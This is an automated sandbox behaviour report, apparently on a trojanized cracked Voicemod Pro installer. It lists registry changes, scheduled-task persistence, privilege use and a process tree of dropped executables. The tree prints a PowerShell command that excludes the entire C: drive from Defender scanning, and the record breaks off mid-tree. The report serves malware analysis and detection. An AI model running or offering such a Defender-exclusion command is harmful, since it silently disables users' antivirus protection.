Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Filters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\UpperFilters	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001	voicemodcon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Filters	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	voicemodcon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Service	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\UpperFilters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\CompatibleIDs	voicemodcon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\CompatibleIDs	voicemodcon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\LowerFilters	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Filters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Service	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	voicemodcon.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\HardwareID	voicemodcon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\CompatibleIDs	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	DrvInst.exe

Creates scheduled task(s) 1 TTPs 30 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4484	schtasks.exe
4140	schtasks.exe
2888	schtasks.exe
3128	schtasks.exe
2344	schtasks.exe
1100	schtasks.exe
576	schtasks.exe
4176	schtasks.exe
3096	schtasks.exe
5116	schtasks.exe
2068	schtasks.exe
2668	schtasks.exe
3656	schtasks.exe
2488	schtasks.exe
936	schtasks.exe
3680	schtasks.exe
3604	schtasks.exe
1388	schtasks.exe
1376	schtasks.exe
768	schtasks.exe
4844	schtasks.exe
1412	schtasks.exe
3120	schtasks.exe
2184	schtasks.exe
1700	schtasks.exe
2804	schtasks.exe
2248	schtasks.exe
4660	schtasks.exe
1864	schtasks.exe
4456	schtasks.exe

Delays execution with timeout.exe 4 IoCs

evasion

pid	Process
4744	timeout.exe
3400	timeout.exe
4872	timeout.exe
3184	timeout.exe

Enumerates processes with tasklist 1 TTPs 9 IoCs

Process Discovery

T1057

pid	Process
1276	tasklist.exe
3276	tasklist.exe
4012	tasklist.exe
1536	tasklist.exe
1916	tasklist.exe
3836	tasklist.exe
4984	tasklist.exe
1596	tasklist.exe
4940	tasklist.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1637591879-962683004-3585269084-1000_Classes\Local Settings	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\voicemod\ = "URL:Voicemod Command Protocol"	VoicemodSetup_2.6.0.7.tmp
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\voicemod\URL Protocol	VoicemodSetup_2.6.0.7.tmp
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1637591879-962683004-3585269084-1000\{7AD1EA14-5517-4849-8C76-FAC84E55D28A}	VoicemodDesktop.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1637591879-962683004-3585269084-1000\{F373F865-B085-4487-B02A-8A14BF38E548}	VoicemodDesktop.exe
Key created	\REGISTRY\USER\S-1-5-21-1637591879-962683004-3585269084-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\voicemod	VoicemodSetup_2.6.0.7.tmp
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\voicemod\DefaultIcon\ = "VoicemodDesktop.exe,1"	VoicemodSetup_2.6.0.7.tmp
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\voicemod\Shell	VoicemodSetup_2.6.0.7.tmp
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\voicemod\Shell\open\command	VoicemodSetup_2.6.0.7.tmp
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\voicemod\Shell\open	VoicemodSetup_2.6.0.7.tmp
Key created	\REGISTRY\USER\S-1-5-21-1637591879-962683004-3585269084-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\voicemod\DefaultIcon	VoicemodSetup_2.6.0.7.tmp
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\voicemod\Shell\open\command\ = "\"C:\\Program Files\\Voicemod Desktop\\VoicemodDesktop.exe\" \"%1\""	VoicemodSetup_2.6.0.7.tmp

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
1948	vm_fontreviewmonitordllrefsvc.exe
4696	powershell.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4696	powershell.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe
4812	System.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1056	7zFM.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	1056	7zFM.exe
Token: 35	1056	7zFM.exe
Token: SeSecurityPrivilege	1056	7zFM.exe
Token: SeDebugPrivilege	1948	vm_fontreviewmonitordllrefsvc.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeDebugPrivilege	4812	System.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeShutdownPrivilege	4484	powercfg.exe
Token: SeCreatePagefilePrivilege	4484	powercfg.exe
Token: SeDebugPrivilege	480	powershell.exe
Token: SeShutdownPrivilege	4384	powercfg.exe
Token: SeCreatePagefilePrivilege	4384	powercfg.exe
Token: SeShutdownPrivilege	1196	powercfg.exe
Token: SeCreatePagefilePrivilege	1196	powercfg.exe
Token: SeShutdownPrivilege	1864	powercfg.exe
Token: SeCreatePagefilePrivilege	1864	powercfg.exe
Token: SeIncreaseQuotaPrivilege	480	powershell.exe
Token: SeSecurityPrivilege	480	powershell.exe
Token: SeTakeOwnershipPrivilege	480	powershell.exe
Token: SeLoadDriverPrivilege	480	powershell.exe
Token: SeSystemProfilePrivilege	480	powershell.exe
Token: SeSystemtimePrivilege	480	powershell.exe
Token: SeProfSingleProcessPrivilege	480	powershell.exe
Token: SeIncBasePriorityPrivilege	480	powershell.exe
Token: SeCreatePagefilePrivilege	480	powershell.exe
Token: SeBackupPrivilege	480	powershell.exe
Token: SeRestorePrivilege	480	powershell.exe
Token: SeShutdownPrivilege	480	powershell.exe
Token: SeDebugPrivilege	480	powershell.exe
Token: SeSystemEnvironmentPrivilege	480	powershell.exe
Token: SeRemoteShutdownPrivilege	480	powershell.exe
Token: SeUndockPrivilege	480	powershell.exe
Token: SeManageVolumePrivilege	480	powershell.exe
Token: 33	480	powershell.exe
Token: 34	480	powershell.exe
Token: 35	480	powershell.exe
Token: 36	480	powershell.exe
Token: SeIncreaseQuotaPrivilege	480	powershell.exe
Token: SeSecurityPrivilege	480	powershell.exe
Token: SeTakeOwnershipPrivilege	480	powershell.exe
Token: SeLoadDriverPrivilege	480	powershell.exe
Token: SeSystemProfilePrivilege	480	powershell.exe
Token: SeSystemtimePrivilege	480	powershell.exe
Token: SeProfSingleProcessPrivilege	480	powershell.exe
Token: SeIncBasePriorityPrivilege	480	powershell.exe
Token: SeCreatePagefilePrivilege	480	powershell.exe
Token: SeBackupPrivilege	480	powershell.exe
Token: SeRestorePrivilege	480	powershell.exe
Token: SeShutdownPrivilege	480	powershell.exe
Token: SeDebugPrivilege	480	powershell.exe
Token: SeSystemEnvironmentPrivilege	480	powershell.exe
Token: SeRemoteShutdownPrivilege	480	powershell.exe
Token: SeUndockPrivilege	480	powershell.exe
Token: SeManageVolumePrivilege	480	powershell.exe
Token: 33	480	powershell.exe
Token: 34	480	powershell.exe
Token: 35	480	powershell.exe
Token: 36	480	powershell.exe
Token: SeIncreaseQuotaPrivilege	480	powershell.exe
Token: SeSecurityPrivilege	480	powershell.exe
Token: SeTakeOwnershipPrivilege	480	powershell.exe
Token: SeLoadDriverPrivilege	480	powershell.exe
Token: SeSystemProfilePrivilege	480	powershell.exe
Token: SeSystemtimePrivilege	480	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1056	7zFM.exe
1056	7zFM.exe
2264	VoicemodSetup_2.6.0.7.tmp

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
2376	VoicemodSetup 2.6.0.7.exe
2376	VoicemodSetup 2.6.0.7.exe
4832	VoicemodSetup_2.6.0.7.exe
2264	VoicemodSetup_2.6.0.7.tmp
4056	MiniSearchHost.exe
3588	SaveDefaultDevices.exe
3404	voicemodcon.exe
4540	voicemodcon.exe
4280	VoicemodUpdate_2.48.0.0.exe
2016	VoicemodUpdate_2.48.0.0.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3896 wrote to memory of 1056	3896	cmd.exe	82
PID 3896 wrote to memory of 1056	3896	cmd.exe	82
PID 2376 wrote to memory of 1948	2376	VoicemodSetup 2.6.0.7.exe	89
PID 2376 wrote to memory of 1948	2376	VoicemodSetup 2.6.0.7.exe	89
PID 2376 wrote to memory of 2936	2376	VoicemodSetup 2.6.0.7.exe	90
PID 2376 wrote to memory of 2936	2376	VoicemodSetup 2.6.0.7.exe	90
PID 2376 wrote to memory of 4832	2376	VoicemodSetup 2.6.0.7.exe	91
PID 2376 wrote to memory of 4832	2376	VoicemodSetup 2.6.0.7.exe	91
PID 2376 wrote to memory of 4832	2376	VoicemodSetup 2.6.0.7.exe	91
PID 4832 wrote to memory of 2264	4832	VoicemodSetup_2.6.0.7.exe	92
PID 4832 wrote to memory of 2264	4832	VoicemodSetup_2.6.0.7.exe	92
PID 4832 wrote to memory of 2264	4832	VoicemodSetup_2.6.0.7.exe	92
PID 1948 wrote to memory of 4696	1948	vm_fontreviewmonitordllrefsvc.exe	124
PID 1948 wrote to memory of 4696	1948	vm_fontreviewmonitordllrefsvc.exe	124
PID 1948 wrote to memory of 4812	1948	vm_fontreviewmonitordllrefsvc.exe	126
PID 1948 wrote to memory of 4812	1948	vm_fontreviewmonitordllrefsvc.exe	126
PID 2692 wrote to memory of 4628	2692	cmd.exe	132
PID 2692 wrote to memory of 4628	2692	cmd.exe	132
PID 2692 wrote to memory of 2272	2692	cmd.exe	133
PID 2692 wrote to memory of 2272	2692	cmd.exe	133
PID 2692 wrote to memory of 2596	2692	cmd.exe	134
PID 2692 wrote to memory of 2596	2692	cmd.exe	134
PID 2692 wrote to memory of 3128	2692	cmd.exe	135
PID 2692 wrote to memory of 3128	2692	cmd.exe	135
PID 2692 wrote to memory of 2488	2692	cmd.exe	136
PID 2692 wrote to memory of 2488	2692	cmd.exe	136
PID 5116 wrote to memory of 4484	5116	cmd.exe	141
PID 5116 wrote to memory of 4484	5116	cmd.exe	141
PID 5116 wrote to memory of 4384	5116	cmd.exe	142
PID 5116 wrote to memory of 4384	5116	cmd.exe	142
PID 5116 wrote to memory of 1196	5116	cmd.exe	143
PID 5116 wrote to memory of 1196	5116	cmd.exe	143
PID 5116 wrote to memory of 1864	5116	cmd.exe	144
PID 5116 wrote to memory of 1864	5116	cmd.exe	144
PID 936 wrote to memory of 4924	936	cmd.exe	153
PID 936 wrote to memory of 4924	936	cmd.exe	153
PID 936 wrote to memory of 1092	936	cmd.exe	154
PID 936 wrote to memory of 1092	936	cmd.exe	154
PID 936 wrote to memory of 2248	936	cmd.exe	155
PID 936 wrote to memory of 2248	936	cmd.exe	155
PID 936 wrote to memory of 4980	936	cmd.exe	156
PID 936 wrote to memory of 4980	936	cmd.exe	156
PID 936 wrote to memory of 4088	936	cmd.exe	157
PID 936 wrote to memory of 4088	936	cmd.exe	157
PID 1360 wrote to memory of 3640	1360	cmd.exe	162
PID 1360 wrote to memory of 3640	1360	cmd.exe	162
PID 1360 wrote to memory of 3468	1360	cmd.exe	163
PID 1360 wrote to memory of 3468	1360	cmd.exe	163
PID 1360 wrote to memory of 4944	1360	cmd.exe	164
PID 1360 wrote to memory of 4944	1360	cmd.exe	164
PID 1360 wrote to memory of 1312	1360	cmd.exe	165
PID 1360 wrote to memory of 1312	1360	cmd.exe	165
PID 2456 wrote to memory of 1912	2456	ChromeUpdate.exe	166
PID 2264 wrote to memory of 3756	2264	VoicemodSetup_2.6.0.7.tmp	168
PID 2264 wrote to memory of 3756	2264	VoicemodSetup_2.6.0.7.tmp	168
PID 2264 wrote to memory of 4456	2264	VoicemodSetup_2.6.0.7.tmp	170
PID 2264 wrote to memory of 4456	2264	VoicemodSetup_2.6.0.7.tmp	170
PID 2264 wrote to memory of 2100	2264	VoicemodSetup_2.6.0.7.tmp	171
PID 2264 wrote to memory of 2100	2264	VoicemodSetup_2.6.0.7.tmp	171
PID 2100 wrote to memory of 3836	2100	cmd.exe	174
PID 2100 wrote to memory of 3836	2100	cmd.exe	174
PID 2264 wrote to memory of 4724	2264	VoicemodSetup_2.6.0.7.tmp	176
PID 2264 wrote to memory of 4724	2264	VoicemodSetup_2.6.0.7.tmp	176
PID 4724 wrote to memory of 4984	4724	cmd.exe	178

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3408
- C:\Windows\system32\cmd.exe
  cmd /c "C:\Users\Admin\AppData\Local\Temp\Voicemod Pro 2.6.0.7 [updated].rar"
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3896
- - C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Voicemod Pro 2.6.0.7 [updated].rar"
    3⤵
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:1056
- C:\Users\Admin\Downloads\Voicemod Pro 2.6.0.7\VoicemodSetup 2.6.0.7.exe
  "C:\Users\Admin\Downloads\Voicemod Pro 2.6.0.7\VoicemodSetup 2.6.0.7.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Users\Admin\AppData\Roaming\vm_fontreviewmonitordllrefsvc.exe
    "C:\Users\Admin\AppData\Roaming\vm_fontreviewmonitordllrefsvc.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4696
  - - C:\Users\Public\Videos\System.exe
      "C:\Users\Public\Videos\System.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4812
- - C:\Users\Admin\AppData\Roaming\conhost_sft.exe
    "C:\Users\Admin\AppData\Roaming\conhost_sft.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Drops file in Drivers directory
    - Executes dropped EXE
    PID:2936
- - C:\Users\Admin\AppData\Roaming\VoicemodSetup_2.6.0.7.exe
    "C:\Users\Admin\AppData\Roaming\VoicemodSetup_2.6.0.7.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4832
  - - C:\Users\Admin\AppData\Local\Temp\is-G58UF.tmp\VoicemodSetup_2.6.0.7.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-G58UF.tmp\VoicemodSetup_2.6.0.7.tmp" /SL5="$702A8,66753197,750080,C:\Users\Admin\AppData\Roaming\VoicemodSetup_2.6.0.7.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Drops file in Program Files directory
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2264
    - - C:\Windows\system32\curl.exe
        
        "C:\Windows\system32\curl.exe" -v https://wsw.voicemod.net/api.windows/v2/webutils/getAnonymousId/?initialUuid=6f6f3b96-c90d-49e3-bf49-af8f1b70c337 -o C:\Users\Admin\AppData\Local\Temp\is-GEQ6B.tmp\deviceId.txt
        5⤵
        
        PID:3756
    - - C:\Windows\system32\curl.exe
        
